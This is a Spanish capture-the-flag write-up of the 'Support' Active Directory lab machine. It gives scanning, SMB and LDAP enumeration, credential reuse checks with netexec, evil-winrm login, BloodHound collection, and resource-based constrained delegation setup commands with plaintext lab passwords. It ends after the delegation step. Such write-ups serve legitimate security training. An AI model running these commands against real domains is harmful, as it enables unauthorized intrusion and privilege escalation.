# Support

Escaneo inicial:

```
# Escaneo completo de todos los puertos
```

```
sudo nmap -sS -- min-rate 5000 -- open -vvv -n -Pn -p- 10.10.11.174-oG allPorts
```

Resultado en formato grepeable:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FbDBteDn2mAD2rmTpJRaJ%2Fimage.png?alt=media&#x26;token=0e9b9d8b-f1c5-4e31-bd44-4044e8acb6d4" alt=""><figcaption></figcaption></figure>

Con otra herramienta extraemos los puertos solamente abiertos:

{% embed url="<https://github.com/Marco-Anonimous/Automatizar-Escaneo-con-Bash>" %}

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FVjzPdst9AlwLaJNJskHk%2Fimage.png?alt=media&#x26;token=943884f3-b8cf-4495-bddd-fe2d79c6687f" alt=""><figcaption></figcaption></figure>

Con los puertos solamente abiertos le hacemos un escaneo mas intensivo:

```
nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49668,49674,49679,49702,49742
 10.10.11.174 -oN targeted
```

Resultado:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FEelrVAMHOLAZVoR0qkr7%2Fimage.png?alt=media&#x26;token=76771e69-1ccb-4dd2-ac24-07ebf0302011" alt=""><figcaption></figcaption></figure>

Miramos un poco mas de info de la maquina:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FsT4DWOhhc47ROV09396T%2Fimage.png?alt=media&#x26;token=429fe4b9-59ba-40bd-913f-cdc30a090fad" alt=""><figcaption></figcaption></figure>

Nos enfrentamos ante un:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FzfFMixXowFOafuHTOzV5%2Fimage.png?alt=media&#x26;token=e72ef0fe-f969-4b13-adee-0de03666e1bf" alt=""><figcaption><p>Windos 10</p></figcaption></figure>

`445/tcp open microsoft-ds?`

Al mirar los archivos compartidos podemos ver:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F2XaGgH1N1c3vied0G3rV%2Fimage.png?alt=media&#x26;token=48d488d8-048c-45f5-8ff7-863164bed874" alt=""><figcaption></figcaption></figure>

Ahora descargamos el mas sospechoso que seria el .zip:

```
smbclient //10.10.11.174/support-tools -U guest
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FOW9aZxcFkUUNko8deOSE%2Fimage.png?alt=media&#x26;token=4540b24f-8f32-47ba-899c-3033d806528d" alt=""><figcaption></figcaption></figure>

Miramos su contenido:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F4moJNc5XruvRD80D0iPK%2Fimage.png?alt=media&#x26;token=878252fd-684c-45b6-9e8b-ba0b861c15fc" alt=""><figcaption></figcaption></figure>

`strings -e l UserInfo.exe`

sirve para **extraer y mostrar las cadenas de texto legibles (strings)** contenidas en el archivo `UserInfo.exe`, **usando codificación "little endian" (Unicode UTF-16LE)**, que es común en archivos binarios de Windows como ejecutables (.exe).

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FIcPs3ir6Y84qScZlfSVe%2Fimage.png?alt=media&#x26;token=488e1f24-df15-47c8-be2d-6bd80d22344c" alt=""><figcaption></figcaption></figure>

Posible usuario lo tenemos que verificar:

* Usando Kerbrute:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F9uFIU2q9J0b5AFZre19Q%2Fimage.png?alt=media&#x26;token=d6d76c54-a655-4127-892a-7a1773580c90" alt=""><figcaption></figcaption></figure>

En un archivo users guardamos dos usuarios:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FAMBws77VQn70wXTgiBXy%2Fimage.png?alt=media&#x26;token=97132d42-c561-40b4-9fda-cb2356ebfcff" alt=""><figcaption></figcaption></figure>

```
./Kerbrute userenum -d support.htb --dc 10.10.11.174 users
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FTWa0pQuVkLhvrUmfvK0Y%2Fimage.png?alt=media&#x26;token=9b5f1e40-2980-4ea4-ab31-8796ce539670" alt=""><figcaption><p>.</p></figcaption></figure>

Tenemos un usuario valido:

Además enumeramos usuarios con Kerbrute:

```
 kerbrute userenum  -d support.htb --dc 10.10.11.174  /opt/SecLists/Usernames/xato-net-10-million-usernames-dup.txt
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FAIMFSbfQT4kAzWk2ovxQ%2Fimage.png?alt=media&#x26;token=7cef1363-cffe-4f73-a925-5df4195311ee" alt=""><figcaption></figcaption></figure>

Las agregamos  a un archivo:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F6lA7aJ6eIgWP5kWxHMkj%2Fimage.png?alt=media&#x26;token=a143f3e2-1810-43d1-8059-68e63e97b3e2" alt=""><figcaption></figcaption></figure>

Ahora llevemos el .exe a una maquina Windows para ver que contiene:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FhexJzaHE5uNg2avFabcS%2Fimage.png?alt=media&#x26;token=881ca273-4ac2-46c1-8980-c51ea10716c8" alt=""><figcaption></figcaption></figure>

Abrimos un puerto con python:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FmfnuD9IRBAxBD1tA7R7e%2Fimage.png?alt=media&#x26;token=18598637-384c-4f80-8fb0-c74d51333d96" alt=""><figcaption></figcaption></figure>

Una vez descargado lo ejecutamos:

O tambien podemos ver el codigo en c#  con la herramienta `ILSpy`.

#### 📌 ¿Qué es ILSpy?

**ILSpy** es un descompilador de .NET para ver el código fuente C# de ejecutables `.NET` como `UserInfo.exe`.\
Pero **ILSpy es una herramienta gráfica de Windows**, no un binario que puedas correr en Linux así directamente (al menos no así sin entorno GUI o emulación).

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FwV3jsqcZkIAPEW2vCoSA%2Fimage.png?alt=media&#x26;token=dbff2e5f-6466-4a78-b6ad-8a7e07c77488" alt=""><figcaption></figcaption></figure>

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FrCNx0551ancOBsQaypFS%2Fimage.png?alt=media&#x26;token=ee0fa06b-f514-4225-ac61-10de3b614afe" alt=""><figcaption></figcaption></figure>

* Si ejecutas el script, obtendrás la **contraseña original** que fue cifrada y luego ofuscada.

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FCncp19DWc0qd107b0zf7%2Fimage.png?alt=media&#x26;token=c2d97ad1-469a-4ce9-9ba6-c8044a5ba914" alt=""><figcaption></figcaption></figure>

Bien teniendo la contraseña verificaremos si es del usuario `ldap`:

```
netexec smb 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FV4O8RlN0Yerj82MUEo7r%2Fimage.png?alt=media&#x26;token=a3fe6954-0620-4f41-b505-91a4d9071238" alt=""><figcaption><p>Efectivamente es del usuario ldap </p></figcaption></figure>

* Ahora verificaremos si el usuario pertenece al grupo **ManagedUsers**.

```
netexec winrm 10.10.11.174 -u ldap -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FeklOY0Ldgnr5xumJI9SV%2Fimage.png?alt=media&#x26;token=6f8672e3-4513-489a-a146-bb05b92cd27f" alt=""><figcaption><p>No pertenece al grupo por lo cual no nos podemos conectar a la maquina </p></figcaption></figure>

Utilizando `rpcclient` para conectarte a un servidor SMB en la dirección IP `10.10.11.174` con las credenciales del usuario `ldap`. El comando  es:

```
rpcclient -U 'ldap%nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' 10.10.11.174
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FXF8t2oBfk7XcxPQcTrdM%2Fimage.png?alt=media&#x26;token=d2e92121-a9f0-48ee-90f7-f8dc9af8330a" alt=""><figcaption><p>usuarios</p></figcaption></figure>

Enumeramos el gupo del dominio:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FTfqSwduSqxOVyLoCAm1H%2Fimage.png?alt=media&#x26;token=62021c47-a44e-43b8-b882-0f263ee775a7" alt=""><figcaption></figcaption></figure>

Bien ! Ahora sacaremos un txt todos los posibles usuarios para contemplarlo mejor:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FaHzYZrB535zydVJBvfG9%2Fimage.png?alt=media&#x26;token=ffba313c-a5fd-4eaa-b8e8-0a08cd71f347" alt=""><figcaption></figcaption></figure>

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2Fp80OQLjA15hmyj0XbFfB%2Fimage.png?alt=media&#x26;token=28adc93d-498d-4b50-8869-8f248a81d07c" alt=""><figcaption><p>Lo tenemos aqui</p></figcaption></figure>

Miraremos si otro usuario de estos tiene la misma contraseña que ldap con *<mark style="color:red;">netexec</mark>*:

```
netexec smb 10.10.11.174 -u user -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' --continue-on-success
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FqXnCcKzGrWLW9kxozZp3%2Fimage.png?alt=media&#x26;token=66b1db42-2076-4fa2-af40-a1be4a76ea56" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">Ldap</mark>

* Usando ldap:

```
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb"
```

Esto nos entrega info de todos los usuarios:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FbfDiI6432hh8pXbEVWxs%2Fimage.png?alt=media&#x26;token=de22ec8e-e8af-4bc4-ae79-9994cf1a5704" alt=""><figcaption></figcaption></figure>

Y por ello haremos un grep para ver que usuario tiene algo interesante y nos topamos con el support:

```
ldapsearch -x -H ldap://10.10.11.174 -D 'ldap@support.htb' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb" | grep -i "samaccountname: support" -B 37
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FpT2koemC4WjtcS0f5Z4T%2Fimage.png?alt=media&#x26;token=b19c0b6b-48d9-42b7-9bcc-e4b90bca0858" alt=""><figcaption><p>Una credencial tiene en la info de support</p></figcaption></figure>

Con estas credenciales vamos a verificar si alguno de los usuarios de nuestro diccionario pertenece al grupo `ManagedUsers:`

```
netexec winrm 10.10.11.174 -u user -p 'Ironside47pleasure40Watchful' --continue-on-success
```

Bingo!!

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FUhC9em1vnbOH5WWXbOnA%2Fimage.png?alt=media&#x26;token=5244b295-8c11-4186-a959-263d358b415d" alt=""><figcaption><p>support</p></figcaption></figure>

Bueno ahora que sabemos ello entramos con <mark style="color:red;">evil-winrm:</mark>

```
evil-winrm -i 10.10.11.174 -u 'support' -p 'Ironside47pleasure40Watchful'
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FeW0TaGrn3zOjRl9kGGlh%2Fimage.png?alt=media&#x26;token=ee8be01b-8789-4026-9f45-5c4b88fa62e7" alt=""><figcaption></figcaption></figure>

***

ADMINISTRATOR

***

* De momento no hay nada habilitado para abusar de algún privilegió:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F3UgS7FTTOr2WCSszpleS%2Fimage.png?alt=media&#x26;token=ea3012d2-fc57-4b6f-9b45-b08a6ca52f97" alt=""><figcaption></figcaption></figure>

Para esto prenderemos la db de Neo4j y Bloodhound:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FS9AdtqXp3baG7uVnowB3%2Fimage.png?alt=media&#x26;token=98f04ef8-0379-4c96-a225-a9516fcccf92" alt=""><figcaption></figcaption></figure>

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FJU6DGy1WCh7JyKGopdgt%2Fimage.png?alt=media&#x26;token=43786d04-d35c-4ca3-9024-32f16eae8d25" alt=""><figcaption></figcaption></figure>

<mark style="color:red;">Descargar toda DataBase con SharpHound</mark>

El .exe lo descargamos en este repositorio, y lo pasamos a la maquina Windows.

{% embed url="<https://github.com/SpecterOps/SharpHound/releases>" %}

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2Fx1MVoCi8lMbk3uakpgeG%2Fimage.png?alt=media&#x26;token=94b80abe-e966-45d6-a4a5-fcf4c9653f4d" alt=""><figcaption></figcaption></figure>

Comando para decirle a la maquina victima que descargue todos los grupos etc, en un comprimido:

```
*Evil-WinRM* PS C:\Users\support\tmp> ./SharpHound.exe -c All
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FvIppgTPpJqrCwhutiiy8%2Fimage.png?alt=media&#x26;token=5d46127d-17b6-4a3d-8803-1e613f5f3825" alt=""><figcaption><p>Pasamos el .zip a la maquina atacante</p></figcaption></figure>

Subiendo al Bloodhound

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FU37Py5Frrswu00TeYfgP%2Fimage.png?alt=media&#x26;token=d7eda715-5004-42c4-8c32-d54a568ae28b" alt=""><figcaption></figcaption></figure>

* Pero como sabemos pertenecemos al grupo:&#x20;

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FsxRf8OrfHHBirL8RdrFl%2Fimage.png?alt=media&#x26;token=4dab1e8e-9f62-468b-bbeb-333130225abb" alt=""><figcaption></figcaption></figure>

Por lo cual lo miraremos en la interfaz:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FkO5knax0W1dmE3Bu138C%2Fimage.png?alt=media&#x26;token=40215888-5f2c-4c70-9ea8-56dae9392913" alt=""><figcaption></figcaption></figure>

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2Fljk92g96RLQ6wDpT0peW%2Fimage.png?alt=media&#x26;token=9b1aff33-52b0-4a6d-98b5-70195c3e7d26" alt=""><figcaption></figcaption></figure>

## [<mark style="color:red;">Resource-based Constrained Delegation</mark>](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.html?highlight=constraine#resource-based-constrained-delegation) <a href="#resource-based-constrained-delegation" id="resource-based-constrained-delegation"></a>

{% embed url="<https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.html?highlight=constraine#resource-based-constrained-delegation>" %}

Pasamos el primer binario:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2F4ZsF4FrVV7p3N5MsurT6%2Fimage.png?alt=media&#x26;token=fcb90187-b124-4a55-a734-998710e0ff45" alt=""><figcaption></figcaption></figure>

Ejecutamos:

```
Import-Module .\Powermad.ps1
```

```
New-MachineAccount -MachineAccount SERVICEA -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```

Siguiente descarga:

{% embed url="<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/refs/heads/master/Recon/PowerView.ps1>" %}

Lo pasamos al Windows:

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FZVB4MJIBBMuZg0blbwYh%2Fimage.png?alt=media&#x26;token=ca25d942-f0c6-4223-bd21-85b26b199122" alt=""><figcaption></figcaption></figure>

Lo ejecutamos:

```
Import-Module .\PowerView.ps1
```

Miramos si todo esta conforme:

```
Get-DomainComputer SERVICEA
```

<figure><img src="https://351748559-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbaijWmxk65CubA3I8d7h%2Fuploads%2FO2sWMf54NsMsAp9L3yFM%2Fimage.png?alt=media&#x26;token=48f3e364-914a-45a8-b20e-36e778366098" alt=""><figcaption></figcaption></figure>

Todo conforme :)

Seguimos guardamos en esta variable la cadena SID:

```
$ComputerSid = Get-DomainComputer SERVICEA -Properties objectsid | Select -Expand objectsid
```

**Using powerview**

bash

```bash
$ComputerSid = Get-DomainComputer FAKECOMPUTER -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$ComputerSid)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer $targetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

#Check that it worked
Get-DomainComputer $targetComputer -Properties 'msds-allowedtoactonbehalfofotheridentity'

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}
```

***
